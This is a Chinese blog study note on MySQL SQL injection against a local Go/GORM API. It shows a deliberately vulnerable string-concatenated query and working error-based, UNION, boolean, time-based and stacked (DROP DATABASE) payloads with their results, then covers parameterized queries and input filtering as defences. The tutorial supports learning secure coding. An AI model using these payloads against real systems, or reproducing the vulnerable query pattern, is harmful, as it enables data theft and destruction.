MySQL学习笔记——SQL注入
1.常见SQL注入的方法
假设我们使用goland的GORM框架写了以下面SQL
err := u.data.db.Raw("select id, username, email from user where username = '" + s + "'").Scan(&user).Error if err != nil { u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err)) return nil, err }
如果正常的查询参数的值为test123,请求如下接口传入该值
http://localhost:8080/api/v1/user?username=test123
接口输出的结果为
{ "Code": 200, "Msg": "find user by username success", "Data": [ { "id": 18, "username": "test123", "email": "test@test123" } ] }
但是使用字符串拼接来实现查询逻辑的话,很容易被人使用SQL注入的方法进行攻击
1.Error-based
基于错误的SQL注入主要是用于获得数据的相关信息,方便进行后序的攻击,比如输入单引号 '
http://localhost:8080/api/v1/user?username='
此时从接口的返回值中就可以知道使用的是MySQL数据库
{ "Code": 500, "Msg": "find user by username fail", "Data": { "Number": 1064, "SQLState": [ 52, 50, 48, 48, 48 ], "Message": "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1" } }
2.数字型
比如使用数组id来请求用户信息的接口
http://localhost:8080/api/v1/user/1
如果使用3-2可以查询到id=1的用户信息,表示可以使用数字型SQL注入
http://localhost:8080/api/v1/user/3-2
3.布尔型
可以通过布尔表达式来判断猜测的数据是否最正确
<原SQL語法> and length(database())>=1--
4.Union-based
基于union的SQL注入可以通过拼接上UNION语句来实现SQL注入,比如输入' union all select 123,system_user(),user()%23,其中%23是#
http://localhost:8080/api/v1/user?username=' union all select 123,system_user(),user()%23
最终执行的SQL是
select id, username, email from user where username = '' union all select 123,system_user(),user()#'
此时从接口的返回值中可以查询到数据库的用户名
{ "Code": 200, "Msg": "find user by username success", "Data": [ { "id": 19, "username": "", "email": "" }, { "id": 123, "username": "root@172.17.0.1", "email": "root@172.17.0.1" } ] }
5.Time-based
基于sleep函数的SQL注入可以通过拼接上sleep函数来实现sql注入,配合上IF语句可以通过sleep函数是否执行来判断IF条件是否正确(例如在没有权限使用database()等函数的情况下猜测库名表名等),
比如输入test123' and sleep(5)%23,其中%23是#
http://localhost:8080/api/v1/user?username=test123' and sleep(5)%23
最终执行的SQL是
select id, username, email from user where username = 'test123' and sleep(5)#'
注入成功的话,请求会延时5秒之后再返回
参考:SQL注入-时间盲注整理
6.堆叠型
<原SQL語法>;DROP DATABASE 資料庫名
2.防范SQL注入的方法
1.使用参数化
不使用字符串拼接的方式
err := dao.User.Where(dao.User.Username.Eq(s)).Scan(&user) if err != nil { u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err)) return nil, err }
2.输入过滤
通过检查SQL中有某些特殊意思的字符来防止SQL注入,比如
\ ; ' " ` -- # /* */
本文只发表于博客园和tonglin0325的博客,作者:tonglin0325,转载请注明原文链接:https://www.cnblogs.com/tonglin0325/p/4607256.html